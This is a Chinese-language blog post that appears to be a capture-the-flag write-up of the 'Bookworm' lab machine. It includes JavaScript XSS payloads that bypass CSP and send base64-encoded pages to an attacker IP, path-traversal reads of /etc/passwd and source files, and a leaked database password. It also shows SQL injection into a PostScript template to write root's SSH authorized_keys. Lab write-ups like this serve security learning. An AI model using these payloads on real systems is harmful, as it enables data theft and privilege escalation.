记一次对bookworm的渗透测试绕过csp

举报
亿人安全 发表于 2024/07/29 13:58:56 2024/07/29
【摘要】 朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦原文首发在先知社区https://xz.aliyun.com/t/14879概要初始知识枚举javascript基本代码编写sql注入学到知识csp绕过sql注入web程序漏洞信息收集端口扫描发现22和80开放因为网络原因我们要多扫描几次，有可能还要加-Pn参数上述域名和ip加入/etc/h...

朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦


原文首发在先知社区

https://xz.aliyun.com/t/14879

概要

初始知识

枚举
javascript基本代码编写
sql注入

学到知识

csp绕过
sql注入
web程序漏洞

信息收集

端口扫描

发现22和80开放
因为网络原因我们要多扫描几次，有可能还要加-Pn参数

图片

图片

上述域名和ip加入/etc/hosts文件

Website - TCP 80

Site

图片

/shop 提供书籍和价格

图片

shop/id 单击会出现一本书 的详细页面

图片

点击添加会让我们登录

图片

没有用户让我们注册一个

图片

图片

测试xss edit note功能

图片

burp抓包

图片

无过滤但是有csp
CSP 指的是内容安全策略（Content Security Policy），这是一种网络安全标准，旨在防止跨站脚本攻击（XSS）、数据注入攻击等常见的网络安全威胁。CSP 通过允许网站管理员定义哪些内容是可信的，从而限制可以在网页上执行的脚本和加载的资源

图片

图片

Content-Security-Policy: The page’s settings blocked the loading of a resource at inline (“script-src”)
.由于页面的CSP规则，浏览器阻止了一段内联JavaScript代码的执行

图片

self 指令指定同源是脚本的输入，并且由于没有列出其他任何内容，因此不会运行其他任何内容。如果要运行一个脚本，需要它来自 Bookworm

上传带有xss语句的图片

图片

图片

图片

尝试在edit note调用

图片

图片

绕过访问限制

图片

图片

IDOR 越权查看修改其他用户

图片

发现id 415尝试修改

图片

js读取其他用户数据

图片

构造攻击者URL：使用变量 attacker 构造一个URL字符串，该字符串以 "http://10.10.16.12/?url=" 开始，然后连接传入的 url 参数的编码版本。这里使用了 encodeURIComponent 函数对传入的 url 进行编码，以确保URL参数的格式正确。

发送请求：使用 fetch API 向传入的 url 发送请求。fetch 是一个用于发起网络请求的Promise-based（基于Promise）Web API。

处理响应：对 fetch 请求的响应使用 .then 进行处理。如果请求成功，res 将是一个包含响应数据的 Response 对象。

异步等待响应文本：使用 async 关键字和 await 关键字等待 res.text() 的Promise解决，这将提取响应的文本内容。

Base64编码响应文本：使用 btoa 函数将响应的文本内容进行Base64编码。

发送编码后的数据：将Base64编码后的数据作为参数附加到 attacker URL中，并通过另一个 fetch 请求发送出去。

调用函数：最后，通过调用 sendrequest 函数并传入 "http://bookworm.htb/profile" 作为参数来启动整个过程。

这段代码的目的是向两个不同的URL发送请求：

首先，它向 "http://bookworm.htb/profile" 发送请求，获取响应内容。

然后，它将获取到的响应内容进行Base64编码，并将编码后的结果作为参数发送到攻击者的URL "http://10.10.16.12/?url="。
async function getOrder(html_page) {
  try {
    const parser = new DOMParser();
    const htmlString = html_page;
    const doc = parser.parseFromString(htmlString, 'text/html');
    const orderLinks = doc.querySelectorAll('tbody a');
    const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
    return orderUrls;
  } catch (error) {
    console.error("Error:", error);
    return [];
  }
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const text = await response.text();
    const encodedData = btoa(text);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function fetchDataAndSendRequests() {
  try {
    const response = await fetch("http://bookworm.htb/profile");
    const html = await response.text();
    const orders = await getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await sendRequest(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetchDataAndSendRequests();

图片

解码查看

图片

LFI

使用代码查看我们所需要的内容

function getOrder(html_page) {
  const parser = new DOMParser();
  const htmlString = html_page;
  const doc = parser.parseFromString(htmlString, 'text/html');
  const orderLinks = doc.querySelectorAll('tbody a');
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
  return orderUrls;
}

function getDownload(html) {
  const container = document.createElement('div');
  container.innerHTML = html;
  const downloadLink = container.querySelector('a[href^="/download"]');
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../proc/self/cwd/database.js" : null;
  return downloadURL;
}

function arrayBufferToBase64(buffer) {
  var binary = '';
  var bytes = new Uint8Array(buffer);
  var len = bytes.byteLength;
  for (var i = 0; i < len; i++) {
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary);
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const arrayBuffer = await response.arrayBuffer();
    const encodedData = arrayBufferToBase64(arrayBuffer);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function getPdf(url) {
  try {
    const response = await fetch(url);
    const html = await response.text();
    const download = getDownload(html);
    if (download) {
      await sendRequest(download);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetch("http://bookworm.htb/profile").then(async (res) => {
  try {
    const html = await res.text();
    const orders = getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await getPdf(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
});

function getOrder(html_page) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html_page, 'text/html');
    return Array.from(doc.querySelectorAll('tbody a'), link => "http://bookworm.htb" + link.getAttribute('href'));
}

function getDownload(html) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const downloadLink = doc.querySelector('a[href^="/download"]');
    return downloadLink ? downloadLink.href.replace(/=(.+)$/, "=.&bookIds=../../../../../../etc/passwd") : null;
}

function arrayBufferToBase64(buffer) {
    return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}

function sendRequest(url) {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url); // Fixed the URL
    fetch(url).then(async (res) => { // Added missing parameter in .then()
        fetch(attacker + "&data=" + arrayBufferToBase64(await res.arrayBuffer()));
    });
}

async function getPdf(url) {
    const html = await (await fetch(url)).text();
    const download = getDownload(html);
    if (download) {
        sendRequest(download);
    }
}

fetch("http://bookworm.htb/profile") // Added missing quotes for the string
    .then(res => res.text())
    .then(html => {
        const orders = getOrder(html);
        for (const path of orders) {
            getPdf(path); // getPdf is now an async function, consider using Promise.all if you want to wait for all requests to complete
        }
    })
    .catch(error => {
        console.error('Error fetching profile:', error);
    });

图片

我们把下载的内容做一个解密

图片

图片

查看当前运行的进程

/proc/self/cmdline
查看当前进程文件

图片

似乎在运行database.js
这里我们可以根据前面信息收集到的内容，推断是不是node.js,然后去找寻起构造文件

图片

图片

图片

const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FrankTh3JobGiver",
        },
      logging: false,
      }
    : "sqlite::memory::"
);

frak

ssh frank@bookworm.htb

图片

Privilege Escalation

信息收集发现其他用户

图片

Shell as neil

可以查看neil内的源代码，发现3001端口

图片

端口转发
ssh frank@bookworm.htb -L 3001:127.0.0.1:3001
我们这里为啥么要使用ssh转发，因为ssh是系统自带

图片

是一个在线的格式转换器，根据代码知道后端调用的calibre
简单测试转换功能，发现输出在outputs目录，文件名被重命名

图片

查看calibre文档，发现可以使用其他输入输出格式例如html,txt:

ebook-convert — calibre 6.19.1 documentation
https://manual.calibre-ebook.com/generated/en/ebook-convert.html

图片

有用法

图片

它采用基于输入和输出扩展名的文件格式。如果没有输出扩展，则假定它是“开放式电子书 （OEB）”格式

图片

我们可以使用软件进行本地测试和网站转发测试

根据代码，后段执行的命令大概这样,输出文件名拼接了我们可控的outputType：
const destinationName = ${fileId}.${outputType};
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

或许是目录遍历，我们在burp Repeater中测试它

图片


可以写入

图片


我们可不可以把公钥写入到neil用户，默认ebook-convert会创建目录
所以我们思考可以试试软连接方式吗
生成短rsa

图片

因为sim保护，所以我们要先新建一个777文件，然后创建写入文件，在写入软连接
https://sysctl-explorer.net/fs/protected_symlinks/

图片

Shell as root

neil 可以sudo执行genlabel，这是一个自定义程序，内部调用了ps2pdf执行postscript：

测试

图片

文件传输打开

图片

源码分析

根据代码查看疑似存在注入

图片

调用模板

图片

通过sql注入，我们就可以控制最终带入到postscript模板中的各种数据，从而控制最终执行的postscript脚本

图片


查看模板

图片

查看/usr/local/labelgeneration/template.ps模板文件，构造闭合，通过使用类似这样的postscript，就可以写入任意文件例如ssh公钥
https://stackoverflow.com/questions/25702146/file-i-o-in-postscript

) show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (<your SSH public key>) writestring
outfile1 closefile
(a


所以我们就可以 直接构造提权root
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (<your SSH public key>) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"


图片

总结:从csp绕过，到横向，从基础到内网多用户跳转，代码编写，漏洞利用，更多的说明从点到面，渗透中需要更多的知识，防守防更需要排查可能存在的点，进行早预防。

【版权声明】本文为华为云社区用户原创内容，转载时必须标注文章的来源（华为云社区）、文章链接、文章作者等基本信息， 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件进行举报，并提供相关证据，一经查实，本社区将立刻删除涉嫌侵权内容，举报邮箱： cloudbbs@huaweicloud.com
网络
  • 点赞
  • 收藏
  • 关注作者

评论（0）

0/1000
抱歉，系统识别当前为高风险访问，暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称，即可参与社区互动！

*长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

确认 取消

加入云驻计划，成为创作者

  • 华为云周边好礼
  • 免费体验产品
  • 特殊身份标识
  • 线下官方门票
  • 内部专家零距离
  • 与10000+优质创作者共同成长
立即加入